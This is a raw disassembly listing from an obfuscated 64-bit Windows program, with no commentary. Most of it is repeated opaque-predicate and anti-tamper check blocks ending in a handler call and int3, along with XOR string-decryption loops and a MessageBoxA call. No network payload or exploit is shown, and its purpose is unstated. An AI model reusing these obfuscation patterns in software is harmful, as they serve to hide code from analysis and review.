mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
movdqa xmm0, xmmword [0x1400d4ff0]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x1400d4ea0]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0xd748511f
mov dword [rbp + 0xbec], 0x3eadd4c7
mov dword [rbp + 0xbf0], 0xbb73d2c9
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r15
movabs r13, 0x10563b41a
mov qword [rsp + 0x20], r13
mov r9d, Ordinal_46
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.14002802c
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
inc rdi
cmp rdi, 0x2c
jb 0x14001a0bc
mov byte [rbp + 0xbf4], r15b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.140008388
mov rax, qword gs:[8]
cmp rax, r12
mov r13d, 0x603ef84
jne 0x14001a1c9
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a1a9
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a1a9
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a1c9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001a273
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a253
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a253
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a273
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
lea rcx, [rbp + 0x9f8]
call fcn.1400186ec
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.140008498
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.140029148
lea rcx, [rbp + 0x9f8]
call fcn.140029084
lea rcx, [rbp + 0x9f8]
call fcn.1400089a8
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001a36b
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a34b
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a34b
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a36b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001a415
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a3f5
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a3f5
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a415
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov dword [rbp - 0x68], 0x78d1586d
mov word [rbp - 0x64], 0x695e
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r15
movabs rsi, 0x10563b41a
mov qword [rsp + 0x20], rsi
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.140027fb4
xor al, dil
mov byte [rbp + rdi - 0x68], al
inc rdi
cmp rdi, 6
jb 0x14001a434
mov byte [rbp - 0x62], r15b
mov dword [rbp - 0x58], 0x78d14a74
mov word [rbp - 0x54], 0x695e
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r15
movabs rsi, 0x8d5b3c2ae1c0860
movabs r13, 0x10563b41a
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.140027fb4
xor al, dil
mov byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, 6
jb 0x14001a48c
mov byte [rbp - 0x52], r15b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.1400293b8
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.140028d90
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.140028ee4
lea rcx, [rbp - 0x68]
call fcn.1400084f0
mov rcx, rax
call fcn.140008498
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.140028bd0
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.140028ee4
lea rdx, [0x1400eb800]
lea rcx, [rbp + 0xa78]
call fcn.140028d90
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.140028ee4
lea rcx, [rbp + 0xa78]
call fcn.140029084
lea rcx, [rbp + 0xa78]
call fcn.1400089a8
lea rcx, [rbp + 0xa58]
call fcn.140029084
lea rcx, [rbp + 0xa58]
call fcn.1400089a8
lea rcx, [rbp + 0xa38]
call fcn.140029084
lea rcx, [rbp + 0xa38]
call fcn.1400089a8
mov rax, qword gs:[8]
cmp rax, r12
mov r13d, 0x603ef84
jne 0x14001a63d
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a61d
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a61d
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a63d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001a6e7
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a6c7
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a6c7
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a6e7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
lea rcx, [rbp + 0x1208]
call fcn.1400289f8
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.14008ee20
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001a7ab
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a78b
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a78b
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a7ab
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001a864
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a844
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a844
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a864
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.140008440
lea rcx, [rbp + 0x10e8]
call fcn.140029120
nop
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001a92b
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a90b
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a90b
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a92b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001a9d5
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a9b5
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a9b5
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a9d5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
lea rcx, [rbp + 0x11e8]
call fcn.1400289f8
mov r9b, 1
xor r8d, r8d
lea rdx, [rbp + 0x10e8]
mov rcx, rax
call fcn.140018254
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001aaaf
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001aa8f
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001aa8f
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001aaaf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov dword [rbp + 0x1e0], 0x2d3204f1
mov dword [rbp + 0x1e4], 0x710c8e6
mov dword [rbp + 0x1e8], 0xe3423f57
xor eax, eax
mov byte [rbp + 0x1ec], al
mov rdi, r15
movabs rbx, 0x10563b41a
mov qword [rsp + 0x20], rbx
mov r9d, recv
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e0]
lea rcx, [rbp + 0x1e0]
call fcn.140027f3c
xor al, dil
mov byte [rbp + rdi + 0x1e0], al
inc rdi
cmp rdi, 0xc
jb 0x14001aae2
mov byte [rbp + 0x1ec], r15b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x10e8]
call fcn.1400296d4
test al, al
je 0x14001b09b
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001abe2
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001abc2
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001abc2
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001abe2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
movdqa xmm0, xmmword [0x1400d4f70]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0xf552fe71
mov word [rbp + 0x7cc], 0x1edc
xor eax, eax
mov byte [rbp + 0x7ce], al
mov rdi, r15
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b8]
lea rcx, [rbp + 0x7b8]
call fcn.140027e50
xor al, dil
mov byte [rbp + rdi + 0x7b8], al
inc rdi
cmp rdi, 0x16
jb 0x14001ac10
mov byte [rbp + 0x7ce], r15b
movdqa xmm0, xmmword [0x1400d4eb0]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x1400d4ef0]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [0x1400d4ed0]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [0x1400d5110]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [0x1400d5020]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x1400d4f90]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x1400d4e20]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x1400d4e30]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0x8055dce3
mov word [rbp + 0xde4], 0x7e76
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r15
mov ebx, 0x86
movabs r13, 0x10563b41a
mov qword [rsp + 0x20], r13
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.140027ec4
xor al, dil
mov byte [rbp + rdi + 0xd60], al
inc rdi
cmp rdi, rbx
jb 0x14001acf8
mov byte [rbp + 0xde6], r15b
mov r9d, 4
lea r8, [rbp + 0x7b8]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, eax
mov rax, qword gs:[8]
cmp rax, r12
mov r13d, 0x603ef84
jne 0x14001adfd
mov rcx, qword gs:[0x12]
xor rcx, rsi
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x12]
xor rcx, rsi
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x12]
xor rcx, rsi
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001addd
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001addd
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001adfd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001aea7
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ae87
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ae87
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001aea7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
cmp edx, 7
je 0x140027bc5
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001af5a
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001af3a
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001af3a
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001af5a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008def8
int3
movdqa xmm0, xmmword [0x1400d4ec0]
movdqu xmmword [rbp + 0xc28], xmm0
movdqa xmm1, xmmword [0x1400d5150]
movdqu xmmword [rbp + 0xc38], xmm1
movdqa xmm0, xmmword [0x1400d4df0]
movdqu xmmword [rbp + 0xc48], xmm0
mov rdi, r15
movabs rbx, 0x10563b41a
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc28]
lea rcx, [rbp + 0xc28]
call fcn.140027ddc
xor al, dil
mov byte [rbp + rdi + 0xc28], al
inc rdi
cmp rdi, 0x2f
jb 0x14001af97
mov byte [rbp + 0xc57], r15b
lea rcx, [rbp + 0xc28]
call fcn.14009234c
mov rax, qword gs:[8]
mov edi, 0xf92f44a
cmp rax, r12
jne 0x14001b0a0
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b07b
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b07b
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b0a0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov edi, 0xf92f44a
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001b14a
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b12a
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b12a
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b14a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0xa98]
call fcn.140028f40
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.140018834
mov rdx, rax
lea rcx, [rbp + 0x10e8]
call fcn.140028e1c
lea rcx, [rbp + 0xab8]
call fcn.140029084
lea rcx, [rbp + 0xab8]
call fcn.1400089a8
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001b23d
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b21d
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b21d
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b23d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001b2e7
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b2c7
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b2c7
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b2e7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
xor edx, edx
lea rcx, [rbp + 0x1188]
call fcn.1400290f4
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001b3ae
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b38e
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b38e
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b3ae
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001b458
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b438
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b438
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b458
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rcx, qword [rbp + 0x10f8]
call fcn.1400927bc
mov rsi, rax
mov qword [rbp - 0x40], rax
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001b515
mov rcx, qword gs:[0x12]
xor rcx, r13
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x12]
xor rcx, r13
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x12]
xor rcx, r13
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b4f5
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b4f5
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b515
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001b5ce
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b5ae
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b5ae
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b5ce
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov r14, qword [rbp + 0x10f8]
mov rax, qword gs:[8]
movabs rbx, 0x8d5b3c2ae1c0860
cmp rax, r12
jne 0x14001b689
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b669
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b669
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b689
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
test rsi, rsi
je 0x1400278b8
cmp qword [rbp + 0x10f8], r15
je 0x1400278b8
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001b75a
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf873306
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b73a
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b73a
mov rcx, qword gs:[0x12]
